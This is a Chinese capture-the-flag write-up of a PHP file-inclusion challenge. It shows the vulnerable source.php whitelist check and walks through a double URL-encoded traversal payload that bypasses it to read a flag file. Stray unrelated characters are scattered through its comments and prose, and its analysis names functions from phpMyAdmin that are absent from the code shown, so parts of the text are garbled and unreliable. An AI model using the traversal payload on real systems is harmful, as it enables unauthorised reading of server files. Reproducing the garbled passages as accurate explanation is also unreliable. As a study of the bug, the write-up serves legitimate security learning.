source.php
<?php
highlight_file(__FILE__);
class emmm //waf
{
public static function checkFile(&$page)
//<?php $a =& $b ?> 這意味著 $a 和 $b 指向了同一個(gè)變量。 注: $a 和 $b 在這里是完全相同的闺金,這并不是 $a 指向了 $b 或者相反,而是 $a 和 $b 指向了同一個(gè)地方。
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//in_array() 函數(shù)搜索數(shù)組中是否存在指定的值。從后查找前轧叽。
return true;
}
$_page = mb_substr(//echo mb_substr("菜鳥(niǎo)教程", 0, 2); 輸出:菜鳥(niǎo)
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一個(gè)字符串中首次出現(xiàn)的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])//PHP $_REQUEST 用于收集HTML表單提交的數(shù)據(jù)。$_REQUEST 變量包含了 $_GET, $_POST 以及 $_COOKIE 的內(nèi)容
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])//可以不用實(shí)例化對(duì)象直接使用emmm::checkFile($_REQUEST['file'])獲得checkFile($_REQUEST['file'])的值
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
這里參考文章分析一波.
漏洞原理
一個(gè)攻擊者可以在服務(wù)器上包含(查看和潛在執(zhí)行)文件的漏洞被發(fā)現(xiàn)惠毁。該漏洞來(lái)自一部分代碼犹芹,其中頁(yè)面在phpMyAdmin中被重定向和加載,以及對(duì)白名單頁(yè)面進(jìn)行不正確的測(cè)試鞠绰。攻擊者必須經(jīng)過(guò)身份驗(yàn)證腰埂,但在這些情況下除外:
cfg ['ServerDefault'] = 0:這會(huì)繞過(guò)登錄并在沒(méi)有任何身份驗(yàn)證的情況下運(yùn)行易受攻擊的代碼蜈膨。如果有多臺(tái)已配置的服務(wù)器屿笼,你可以配置cfg['ServerDefault'] 必須配置為那臺(tái)服務(wù)器肝断。
漏洞形成的原因
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
if區(qū)間一共有4個(gè)判斷:
1、是否存在file參數(shù)
2驰凛、file參數(shù)是否為字符串
3胸懈、emmm類的checkFile方法判斷
如果通過(guò)判斷則包含參數(shù)所指定的文件
首先找到Core類的checkFile函數(shù):
class emmm //waf
{
public static function checkFile(&$page)
//<?php $a =& $b ?> 這意味著 $a 和 $b 指向了同一個(gè)變量。 注: $a 和 $b 在這里是完全相同的恰响,這并不是 $a 指向了 $b 或者相反趣钱,而是 $a 和 $b 指向了同一個(gè)地方。
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//in_array() 函數(shù)搜索數(shù)組中是否存在指定的值胚宦。從后查找前首有。
return true;
}
$_page = mb_substr(//echo mb_substr("菜鳥(niǎo)教程", 0, 2); 輸出:菜鳥(niǎo)
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一個(gè)字符串中首次出現(xiàn)的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
checkPageValidity函數(shù)里又是4個(gè)判斷:
1、如果page不為字符串則return false
2枢劝、whitelist中的某個(gè)值則返回true
3井联、whitelist中的某個(gè)值則返回true
4、經(jīng)過(guò)urldecode函數(shù)解碼后的whitelist中的某個(gè)值則返回true
我們來(lái)逐行分析:
$whitelist定義了兩個(gè)可以被包含的文件名
if (in_array($page, $whitelist)) {//in_array() 函數(shù)搜索數(shù)組中是否存在指定的值您旁。從后查找前烙常。
return true;
}
第二個(gè)if直接跳過(guò)我們來(lái)看第三個(gè)if區(qū)間,如果whilelist的某個(gè)值則return真。
phpmyadmin的開(kāi)發(fā)團(tuán)隊(duì)考慮的很全面被冒,想到了會(huì)存在file的值后面再跟參數(shù)的情況军掂,于是有了第三個(gè)判斷:
$_page = mb_substr(//echo mb_substr("菜鳥(niǎo)教程", 0, 2); 輸出:菜鳥(niǎo)
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一個(gè)字符串中首次出現(xiàn)的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
whilelist某個(gè)數(shù)組中。
這個(gè)判斷的作用是昨悼,如果file值帶有參數(shù)的情況下蝗锥,phpmyadmin也能正確的包含文件。
也正是因?yàn)閜hpmyadmin團(tuán)隊(duì)考慮的太全面了率触,才會(huì)出現(xiàn)此漏洞......
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
后面又將$page參數(shù)用urlencode解碼再進(jìn)行以?分割取出前面的值做判斷终议。
我們構(gòu)造payload:
file=source.php?/../../../../../../ffffllllaaaagggg,目錄穿越葱蝗,當(dāng)然還要把?進(jìn)行兩次url編碼穴张,所以最后的payload為file=source.php%253f/../../../../../../ffffllllaaaagggg,首先两曼,第一次驗(yàn)證肯定過(guò)不了皂甘,第二次截取完也過(guò)不了,第三次悼凑,經(jīng)過(guò)url解碼之后偿枕,我們構(gòu)造的payload就變成了source.php?/../../../../../../ffffllllaaaagggg,很顯然户辫,它是截取?前面的進(jìn)行校驗(yàn)渐夸,我們這的source.php在白名單中,所以返回true渔欢,最后通過(guò)目錄穿越的到ffffllllaaaagggg里面的內(nèi)容墓塌,也就是flag。
參考:
https://blog.csdn.net/qq_42967398/article/details/91127332
https://blog.csdn.net/qq_37433000/article/details/91126718